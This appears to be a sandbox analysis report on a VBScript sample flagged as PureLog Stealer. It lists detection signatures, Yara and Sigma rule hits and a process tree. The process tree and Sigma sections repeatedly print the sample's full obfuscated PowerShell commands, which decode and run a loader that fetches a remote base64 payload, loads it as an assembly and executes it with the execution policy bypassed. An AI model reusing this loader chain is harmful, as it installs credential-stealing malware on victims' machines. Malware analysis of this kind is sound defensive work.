Edit tour

Windows Analysis Report
ZJbugHcHda.vbs

Overview

General Information

Sample name:	ZJbugHcHda.vbs renamed because original name is a hash value
Original sample name:	01b5377b8e2fd5cc88c57a2115fefc853ddecbf4aff300357391dcd803b7d67d.vbs
Analysis ID:	1523821
MD5:	134f2e8115174dea5246b807fd0c8427
SHA1:	c47a738087706c17b345c8b93b8eb71c1518e3a8
SHA256:	01b5377b8e2fd5cc88c57a2115fefc853ddecbf4aff300357391dcd803b7d67d
Tags:	BlindEaglevbsuser-JAMESWT_MHT
Infos:

Detection

PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

VBScript performs obfuscated calls to suspicious functions

Yara detected Powershell decode and execute

Yara detected PureLog Stealer

AI detected suspicious sample

Bypasses PowerShell execution policy

Found suspicious powershell code related to unpacking or dynamic code loading

Obfuscated command line found

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6448 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ZJbugHcHda.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 6596 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7052 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $shEllId[1]+$SHElLiD[13]+'x') ( ('xPiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/De'+'tahNoteV'+'.txtsk'+'r;xPi'+'ba'+'se'+'64Co'+'n'+'te'+'nt = ('+'New-Obje'+'ct S'+'ystem.'+'Net.WebC'+'li'+'ent).'+'Downl'+'oadStrin'+'g(xPiurl);'+'xP'+'i'+'binary'+'Conte'+'nt = [Syst'+'em.Convert]::FromB'+'a'+'se64S'+'trin'+'g(xPi'+'base64Conte'+'n'+'t);xPias'+'sembly ='+' [Reflec'+'t'+'i'+'on.Assembly'+']:'+':L'+'oad('+'xPibin'+'ar'+'yContent);xP'+'ity'+'pe = x'+'Pias'+'sem'+'b'+'ly.Ge'+'tTyp'+'e(skr'+'Ru'+'nP'+'E.Homeskr'+');xPi'+'me'+'thod = xPity'+'pe.GetMet'+'ho'+'d('+'skrVAIskr'+');xP'+'i'+'method'+'.Inv'+'oke(xPinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.KKRONK'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrRe'+'gAs'+'msk'+'r,skrskr))').REPlAcE('xPi','$').REPlAcE(([cHAr]115+[cHAr]107+[cHAr]114),[STriNG][cHAr]39))" MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.2205660588.000001B044580000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000003.00000002.2187547991.000001B03C578000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: powershell.exe PID: 6596	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x88e:$b3: ::UTF8.GetString( 0x1071:$b3: ::UTF8.GetString( 0x3586:$b3: ::UTF8.GetString( 0x3b94:$b3: ::UTF8.GetString( 0x516b:$b3: ::UTF8.GetString( 0x4dba2:$b3: ::UTF8.GetString( 0x4e1b0:$b3: ::UTF8.GetString( 0x4f641:$b3: ::UTF8.GetString( 0x66a3c:$b3: ::UTF8.GetString( 0x66ae9:$b3: ::UTF8.GetString( 0x670cd:$b3: ::UTF8.GetString( 0x8f755:$b3: ::UTF8.GetString( 0x8fd63:$b3: ::UTF8.GetString( 0x90a6f:$b3: ::UTF8.GetString( 0x911ba:$b3: ::UTF8.GetString( 0x919d3:$b3: ::UTF8.GetString( 0x92181:$b3: ::UTF8.GetString( 0x929ea:$b3: ::UTF8.GetString( 0x9332b:$b3: ::UTF8.GetString( 0x94aaf:$b3: ::UTF8.GetString( 0x9be37:$b3: ::UTF8.GetString(
Process Memory Space: powershell.exe PID: 7052	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x29e516:$b2: ::FromBase64String( 0x29fb4c:$b2: ::FromBase64String( 0x1c42f:$s1: -join 0x1cb8f:$s1: -join 0x2b41c4:$s1: -join 0x3ce281:$s1: -join 0xa59cdb:$s1: -join 0xa66f5c:$s1: -join 0xa6a41e:$s1: -join 0xa6aab8:$s1: -join 0xa6c5b4:$s1: -join 0xa6e808:$s1: -join 0xa6f02f:$s1: -join 0xa6f88a:$s1: -join 0xa6ffc5:$s1: -join 0xa6fff7:$s1: -join 0xa7003f:$s1: -join 0xa7005e:$s1: -join 0xa708af:$s1: -join 0xa70a2b:$s1: -join 0xa70aa3:$s1: -join

Unpacked PEs

Source	Rule	Description	Author
3.2.powershell.exe.1b044580000.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
3.2.powershell.exe.1b03cd8cd50.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
3.2.powershell.exe.1b044580000.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
3.2.powershell.exe.1b03cd8cd50.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_7052.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Source: Process started

Author: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $shEllId[1]+$SHElLiD[13]+'x') ( ('xPiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/De'+'tahNoteV'+'.txtsk'+'r;xPi'+'ba'+'se'+'64Co'+'n'+'te'+'nt = ('+'New-Obje'+'ct S'+'ystem.'+'Net.WebC'+'li'+'ent).'+'Downl'+'oadStrin'+'g(xPiurl);'+'xP'+'i'+'binary'+'Conte'+'nt = [Syst'+'em.Convert]::FromB'+'a'+'se64S'+'trin'+'g(xPi'+'base64Conte'+'n'+'t);xPias'+'sembly ='+' [Reflec'+'t'+'i'+'on.Assembly'+']:'+':L'+'oad('+'xPibin'+'ar'+'yContent);xP'+'ity'+'pe = x'+'Pias'+'sem'+'b'+'ly.Ge'+'tTyp'+'e(skr'+'Ru'+'nP'+'E.Homeskr'+');xPi'+'me'+'thod = xPity'+'pe.GetMet'+'ho'+'d('+'skrVAIskr'+');xP'+'i'+'method'+'.Inv'+'oke(xPinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.KKRONK'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrRe'+'gAs'+'msk'+'r,skrskr))').REPlAcE('xPi','$').REPlAcE(([cHAr]115+[cHAr]107+[cHAr]114),[STriNG][cHAr]39))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $shEllId[1]+$SHElLiD[13]+'x') ( ('xPiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/De'+'tahNoteV'+'.txtsk'+'r;xPi'+'ba'+'se'+'64Co'+'n'+'te'+'nt = ('+'New-Obje'+'ct S'+'ystem.'+'Net.WebC'+'li'+'ent).'+'Downl'+'oadStrin'+'g(xPiurl);'+'xP'+'i'+'binary'+'Conte'+'nt = [Syst'+'em.Convert]::FromB'+'a'+'se64S'+'trin'+'g(xPi'+'base64Conte'+'n'+'t);xPias'+'sembly ='+' [Reflec'+'t'+'i'+'on.Assembly'+']:'+':L'+'oad('+'xPibin'+'ar'+'yContent);xP'+'ity'+'pe = x'+'Pias'+'sem'+'b'+'ly.Ge'+'tTyp'+'e(skr'+'Ru'+'nP'+'E.Homeskr'+');xPi'+'me'+'thod = xPity'+'pe.GetMet'+'ho'+'d('+'skrVAIskr'+');xP'+'i'+'method'+'.Inv'+'oke(xPinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.KKRONK'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrRe'+'gAs'+'msk'+'r,skrskr))').REPlAcE('xPi','$').REPlAcE(([cHAr]115+[cHAr]107+[cHAr]114),[STriNG][cHAr]39))", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJ

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $shEllId[1]+$SHElLiD[13]+'x') ( ('xPiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/De'+'tahNoteV'+'.txtsk'+'r;xPi'+'ba'+'se'+'64Co'+'n'+'te'+'nt = ('+'New-Obje'+'ct S'+'ystem.'+'Net.WebC'+'li'+'ent).'+'Downl'+'oadStrin'+'g(xPiurl);'+'xP'+'i'+'binary'+'Conte'+'nt = [Syst'+'em.Convert]::FromB'+'a'+'se64S'+'trin'+'g(xPi'+'base64Conte'+'n'+'t);xPias'+'sembly ='+' [Reflec'+'t'+'i'+'on.Assembly'+']:'+':L'+'oad('+'xPibin'+'ar'+'yContent);xP'+'ity'+'pe = x'+'Pias'+'sem'+'b'+'ly.Ge'+'tTyp'+'e(skr'+'Ru'+'nP'+'E.Homeskr'+');xPi'+'me'+'thod = xPity'+'pe.GetMet'+'ho'+'d('+'skrVAIskr'+');xP'+'i'+'method'+'.Inv'+'oke(xPinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.KKRONK'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrRe'+'gAs'+'msk'+'r,skrskr))').REPlAcE('xPi','$').REPlAcE(([cHAr]115+[cHAr]107+[cHAr]114),[STriNG][cHAr]39))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $shEllId[1]+$SHElLiD[13]+'x') ( ('xPiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/De'+'tahNoteV'+'.txtsk'+'r;xPi'+'ba'+'se'+'64Co'+'n'+'te'+'nt = ('+'New-Obje'+'ct S'+'ystem.'+'Net.WebC'+'li'+'ent).'+'Downl'+'oadStrin'+'g(xPiurl);'+'xP'+'i'+'binary'+'Conte'+'nt = [Syst'+'em.Convert]::FromB'+'a'+'se64S'+'trin'+'g(xPi'+'base64Conte'+'n'+'t);xPias'+'sembly ='+' [Reflec'+'t'+'i'+'on.Assembly'+']:'+':L'+'oad('+'xPibin'+'ar'+'yContent);xP'+'ity'+'pe = x'+'Pias'+'sem'+'b'+'ly.Ge'+'tTyp'+'e(skr'+'Ru'+'nP'+'E.Homeskr'+');xPi'+'me'+'thod = xPity'+'pe.GetMet'+'ho'+'d('+'skrVAIskr'+');xP'+'i'+'method'+'.Inv'+'oke(xPinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.KKRONK'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrRe'+'gAs'+'msk'+'r,skrskr))').REPlAcE('xPi','$').REPlAcE(([cHAr]115+[cHAr]107+[cHAr]114),[STriNG][cHAr]39))", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJ

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ZJbugHcHda.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ZJbugHcHda.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ZJbugHcHda.vbs", ProcessId: 6448, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zayc